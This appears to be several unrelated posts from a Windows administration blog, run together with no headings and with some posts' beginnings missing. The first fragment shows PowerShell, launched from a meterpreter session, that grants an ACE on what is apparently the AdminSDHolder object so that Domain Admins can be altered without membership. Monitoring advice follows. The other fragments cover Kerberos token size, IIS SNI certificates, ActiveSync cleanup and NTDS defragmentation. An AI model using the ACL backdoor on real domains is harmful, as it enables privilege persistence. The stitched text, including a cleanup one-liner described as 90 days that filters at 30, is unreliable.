WriteOwner', 'Allow', (New-Object GUID), 'None')
$obj.psbase.ObjectSecurity.AddAccessRule($aceOne)
$obj.psbase.CommitChanges()
 
$acl = $obj.psbase.ObjectSecurity
$acl.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | where{$_.IdentityReference -eq $sid}

Just launch the script under the meterpreter shell attached to a process running under the ldap389\domainadm account:

Voila! You can modify the domain admins group without being a domain admin yourself. So I suggest you monitor the ACL of the AdminSDHolder object, in addition to the traditional group membership auditing.

Bibliography:
Syngress: The basics of hacking and penetration testing.
MS Press: Windows Server 2008 Security Resource Kit.
SANS: SEC560: Scanning, Exploitation, Password Attacks.
InformIT: Protect Your Windows Network: from Perimeter to Data.

Special thanks to Regre$$ion $oftware for the long discussions and knowledge sharing during our coffee breaks

Update 07/02/2013: Use GPO “Deny access to this computer from the network” for local admin accounts to mitigate PtH attacks using this account. Thanks for the tip

The operation failed because: Managing the network session with dc-srv2.ldap389.local failed.
“The system detected a possible attempt to compromise security. Please ensure that you can contact the server that authenticated you.”

Having a look at the dcpromo.log did not tell us much:

10/04/2012 11:24:02 [INFO] Error – Managing the network session with dc-srv2.ldap389.local failed (1265)
10/04/2012 11:24:02 [ERROR] Failed to establish the session with dc-srv2.ldap389.local: 0x4f1
10/04/2012 11:24:02 [INFO] The attempted domain controller operation has completed

So we had a look at the eventlog, no errors regarding the dcpromo operation, but we noticed the following warning:

The event ID 6 from source Kerberos means the kerberos token size of the authenticated user is too large: The solution was to remove this administrator account from a few groups in order to decrease its kerberos token size, after that operation the error message disappeared and we were able to successfully demote the domain controller.

Under Windows 2008/7 the default maximum token size is 12000 bytes, under Windows 2012/8 it is 48000 bytes. This default value can be modified by GPO, however before modifying this value it might be interesting to find out which maximum token size best fit your environment. To achieve this you can use the tokensz.exe tool, but this can turn out to be a laborious task. Under Windows 2012/8 a new GPO setting allows you to generate warnings in the domain controllers eventlog when a large kerberos token is issued, you define the threshold yourself, by aggregating all those warnings you can define the right MaxTokenSize value for your environment, everything is explained in this AskDS post.

To configure multiple websites on IIS 8 with the SNI feature, I suggest you read this article, which is a step by step configuration guide. We installed one IIS 8 server and deployed two certificates in the Web Hosting computer’s certificate store: The subject of the certificate issued by our internal CA LDAP389-CA is ldap389.info. The subject of the second certificate issued by an external CA External-CA is customer.info.

We checked the SSL bindings of our websites with the netsh command line utility:

netsh http show sslcert

On the left hand side of the following picture the Web Hosting computer’s certificate store is displayed, on the right hand side you can see the result of the netsh command: Both certificates are configured on the same port, both aliases ldap389.info and customer.info share the same IP address:

On the client side, depending on the URL you typed in your browser, the appropriate certificate is selected as long as your client supports SNI. For MS products it means at least Windows Vista and IE 7.0 (no support under Windows XP, whatever the IE version you are using):

Once the first web server of our farm is configured, we want to automate the certificate import process on the remaining webservers. In order to perform this task we will use the PKI client Cmdlets introduced in Windows server 2012 and Windows 8. With IIS 8, it is also possible to use a centralized certificate store for you webserver farm, for the step by step configuration read this article. The major constraint of this feature is that all your PFX files must share the same protection password. So we will stick with the old fashioned way: An export/import of each certificate in PFX format.

Let’s do this task with the GUI, in order to see what new features are available with Windows server 2012 and Windows 8: First, we export the certificate in PFX format (with its private key):

When the traditonal dialog box asking us to protect the PFX file with a password appears, we notice a new feature: You can choose instead to protect the file with an AD user or group, only the user or members of the group you selected will be allowed to access the certificate’s private key, you do not need anymore to protect the file with a password :-). We choose to grant the access to the PFX file to a group named LDAP389-CERTIMPORTERS, only the members of this group will be allowed to import the certificate with its private key to another computer:

This feature is only available if your webservers authenticate against a Windows server 2012 domain controller. Now, let’s import the certificate into another webserver, with an account member of the LDAP389-CERTIMPORTERS group: The password is not required, and the import is done automatically:

Now let’s perform the same task with Powershell and the PKI client Cmdlets. First we use the Export-PfxCertificate cmdlet in order to create the PFX file. We need to pipe the certificate object into the Export-PfxCertificate command. In order to retrieve the certificate object located in the Web Hosting computer’s certificate store you need to get its thumbprint, to retrieve this information just launch the follwing commands:

cd Cert:\localmachine\webhosting
dir

The thumbprint of the customer.info certificate is 1CA7EBB210086CCC1D9D4DA12B3E333FA851D090.

In order to export the customer.info certificate and the entire chain into the ldap389customer.pfx file use the following onliner:

Get-ChildItem -Path cert:\localMachine\WebHosting\1CA7EBB210086CCC1D9D4DA12B3E333FA851D090 | Export-PfxCertificate -FilePath C:\ldap389customer.pfx -ProtectTo "LDAP389\LDAP389-CERTIMPORTERS" -ChainOption BuildChain

The ProtectTo parameter allows you to specify which AD user/group will be able to access to the certificate’s private key. Export the ldap389.info certificate with the same method.

Now we need to import our two PFX files to another webserver, log in with a member account from the LDAP389-CERTIMPORTERS group and use the Import-PfxCertificate cmdlet. The customer.info certificate is imported into the Web Hosting computer’s certificate store with the following command:

Import-PfxCertificate -FilePath c:\ldap389customer.pfx cert:\localMachine\WebHosting\

Do the same with the ldap389.info certificate:

Both certificates are successfuly installed on our second webserver and ready for use with IIS 8 and the SNI feature. Finally import the two certificates on the remaining webservers of your farm.

The value of the identity parameter given by both cmdlets is identical. Now, assume that your employee leaves to another region/site of your company, then the AD account is moved to the OU corresponding to his new location:

The user returned the mobile device to his former site, therefore it is no longer in use (by the same user). Once the account moved, we re-launch the Get-ActiveSyncDevice and the Get-ActiveSyncDeviceStatistics cmdlets:

You will notice that the value of the identity parameter was updated for the Get-ActiveSyncDevice cmdlet with the new OU, but it was not updated for the Get-ActiveSyncDeviceStatistics cmdlet.

As a consequence, if you apply the following onliner in order to remove stale ActiveSync device partnerships (i.e. not synchronized during the last 90days), the deletion will fail:

Get-ActiveSyncDevice -ResultSize unlimited | Get-ActiveSyncDeviceStatistics | where {$_.LastSyncAttemptTime -lt (get-date).adddays(-30)} | Remove-ActiveSyncDevice

The following error message will be displayed:

Couldn’t find ‘ldap389.info/BSR2/test-vpn’ as a recipient.
+ CategoryInfo : InvalidArgument: (:) [Remove-ActiveSyncDevice], RecipientNotFoundException
+ FullyQualifiedErrorId : 2060141F,Microsoft.Exchange.Management.Tasks.RemoveMobileDevice

The trick to avoid this error and complete the removal is to use the GUID value of the identity parameter as a primary key between both cmdlets: This value never changes, and is common between both cmdlets. So in order to delete ActiveSync device partnerships that did not synchronize during the last 90days use the following script:

$guids = Get-ActiveSyncDevice -ResultSize unlimited | Get-ActiveSyncDeviceStatistics | where {$_.LastSyncAttemptTime -lt (get-date).adddays(-90)} | select guid,identity

foreach($guid in $guids){
$UniqueID = [string]$guid.guid
remove-activesyncdevice $UniqueID  -confirm:$false}

AD accounts can be moved from one OU to another, and the deletion of the mobile device partnership is still successful.

add-content $compactinput 'activate instance ntds'
add-content $compactinput 'files'
$compact = 'compact to '+ (get-location).path
add-content $compactinput $compact
add-content $compactinput 'quit'
add-content $compactinput 'quit'
get-content $compactinput | ntdsutil.exe > $compactresult

If the compaction is successful the $compactresult file contains the character string “Compaction is successful. You need to:“.

Next, delete all the log files in the log directory and make a copy of the existing Ntds.dit file by renaming it Ntds.dit.old. Finally copy the compacted database file to the NTDS database directory. In order to know where those directories are located (log and NTDS database) just read the DC’s registry.

Before starting the Active Directory service an integrity check must be performed on the compacted database: Once again, launch the ntdsutil.exe utility and pass it the input arguments stored in the $integrityinput file. The result of the command is stored in the $integrityresult file for analysis:

add-content $integrityinput 'activate instance ntds'
add-content $integrityinput 'files'
add-content $integrityinput 'integrity'
add-content $integrityinput 'quit'
add-content $integrityinput 'quit'
get-content $integrityinput | ntdsutil.exe > $integrityresult

If the integrity is successful, the $integrityresult file contains the character string “Integrity check successful“. If not, repeat the compaction manually by recovering the ntds.dit.old file. In case of problems when running the script, have a look at this technet article.

If everything is OK start the Active Directory service (NTDS), and wait for the following event to show up:

In order to pause the script use the Wait-event cmdlet. Suspend the script execution until the event ID 1394 of the Directory Service logfile appears. To guess the correct syntax just read this Scripting Guy’s post:

$QueryString = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.Logfile = 'Directory Service' AND TargetInstance.EventCode = '1394'"
Register-WMIEvent -query $QueryString -sourceIdentifier "AppLogEntry"
$Event = Wait-Event -sourceIdentifier "AppLogEntry" -timeout 90

The script waits for this event for 90 seconds, if the event does not show up after this time, the script considers that the Active Directory service did not start properly ($Event.TimeGenerated is null). In that case, consult the “If errors appear when you restart AD DS” chapter of the technet article mentioned previously.
To download the full script just click on the link below:

Warning: For the script to work properly you need the following disk space requirements: Twice the size of your Ntds.dit file (Compacted Ntds + Ntds.dit.old). And remember that before performing an offline defragmentation you should check if you have a valid backup of your DC.